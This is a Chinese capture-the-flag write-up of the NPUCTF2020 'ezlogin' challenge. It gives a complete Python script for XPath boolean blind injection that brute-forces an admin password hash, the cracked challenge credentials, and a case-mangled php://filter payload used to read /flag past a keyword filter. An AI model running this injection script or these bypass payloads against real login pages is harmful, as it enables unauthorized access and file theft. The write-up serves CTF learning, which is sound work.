[NPUCTF2020]ezlogin-解题步骤详解

admin 2022年4月20日01:04:30评论117 views字数 2121阅读7分4秒阅读模式

[NPUCTF2020]ezlogin-解题步骤详解

0x01

[NPUCTF2020]ezlogin-解题步骤详解

首页如上,是一个登录的页面,而且这个页面是有时间限制的,超过一定时间没登录就需要刷新页面重新登录。我们抓包看看

[NPUCTF2020]ezlogin-解题步骤详解

登录的时候一个session只能存在一定的时间,通过抓包的内容来看,这里要用到Xpath的知识点

关于Xpath参考

https://www.cnblogs.com/backlion/p/8554749.html

xpath注入主要有两种,一种是普通的注入,另外一种是布尔注入。普通注入对应union注入,使用|来完成和union类似的功能,布尔注入则是布尔盲注。

这里使用大佬的脚本爆破

import requestsimport stringimport timeimport resession = requests.session()base_url = 'you_address'success = '??'payload = "' or substring({target},{index},1)='{char}' or '"
chars = string.ascii_letters+string.digits

def get_csrf(): res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).textreturn re.findall('<input.*value="(.*?)"./>', res)[0]

target = 'string(/*[1]/*[1]/*[2]/*[3])'# username adm1n# password cf7414b5bdb2e65ee43083f4ddbc4d9fdata = '<username>{username}</username><password>1</password><token>{token}</token>'
result = 'cf7414b5bdb2e65ee43'headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Content-Type': 'application/xml','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}for i in range(20, 35):for j in chars: time.sleep(0.2) temp_payload = payload.format(target=target, index=str(i), char=j)
token = get_csrf()
temp_data = data.format(username=temp_payload, token=token) res = session.post(url=base_url+'login.php', data=temp_data, headers=headers)# print(temp_data)# print(res.text)# print(len(res.text))if len(res.text) == 5: result += jbreakprint(result)


通过爆破得知存在账号为adm1n,密码为cf7414b5bdb2e65ee43083f4ddbc4d9f的用户,密码通过md5解密得到为gtfly123,然后我们用这个账号登录进去

0x02

登录进去以后查看源代码,发现如下提示

[NPUCTF2020]ezlogin-解题步骤详解

猜测是base64加密,所以这里用base64解密

[NPUCTF2020]ezlogin-解题步骤详解

结果提示我们flag在 /flag中,告诉了我们路径,看来我们需要来读取文件了,到这里我们来看一下登陆进去后的url

[NPUCTF2020]ezlogin-解题步骤详解


这部是典型的文件读取协议么,那么我们尝试用php://filter伪协议来读取文件

payload

?file=pHp://filter/convert.bASe64-encode/resource=/flag

经过尝试,php和base进行了过滤,这里可以用大写来进行绕过

返回页面查看源码,如下图

[NPUCTF2020]ezlogin-解题步骤详解


猜测还是base64加密,我们用base64解密一下,解密结果如下

[NPUCTF2020]ezlogin-解题步骤详解


拿到flag

原文来自CSDN博主「怪味巧克力」|侵删



[NPUCTF2020]ezlogin-解题步骤详解

[NPUCTF2020]ezlogin-解题步骤详解


中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。

为方便大家沟通,中电运行开通“中电运行交流群”,诚挚欢迎能源企业和相关人士,以及对网络安全感兴趣的群体加入本群,真诚交流,互相学习[NPUCTF2020]ezlogin-解题步骤详解[NPUCTF2020]ezlogin-解题步骤详解。想加入我们就给我们留言吧[NPUCTF2020]ezlogin-解题步骤详解

[NPUCTF2020]ezlogin-解题步骤详解

[NPUCTF2020]ezlogin-解题步骤详解

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!

[NPUCTF2020]ezlogin-解题步骤详解


原文始发于微信公众号(寰宇卫士):[NPUCTF2020]ezlogin-解题步骤详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月20日01:04:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [NPUCTF2020]ezlogin-解题步骤详解https://cn-sec.com/archives/927387.html

发表评论

匿名网友 填写信息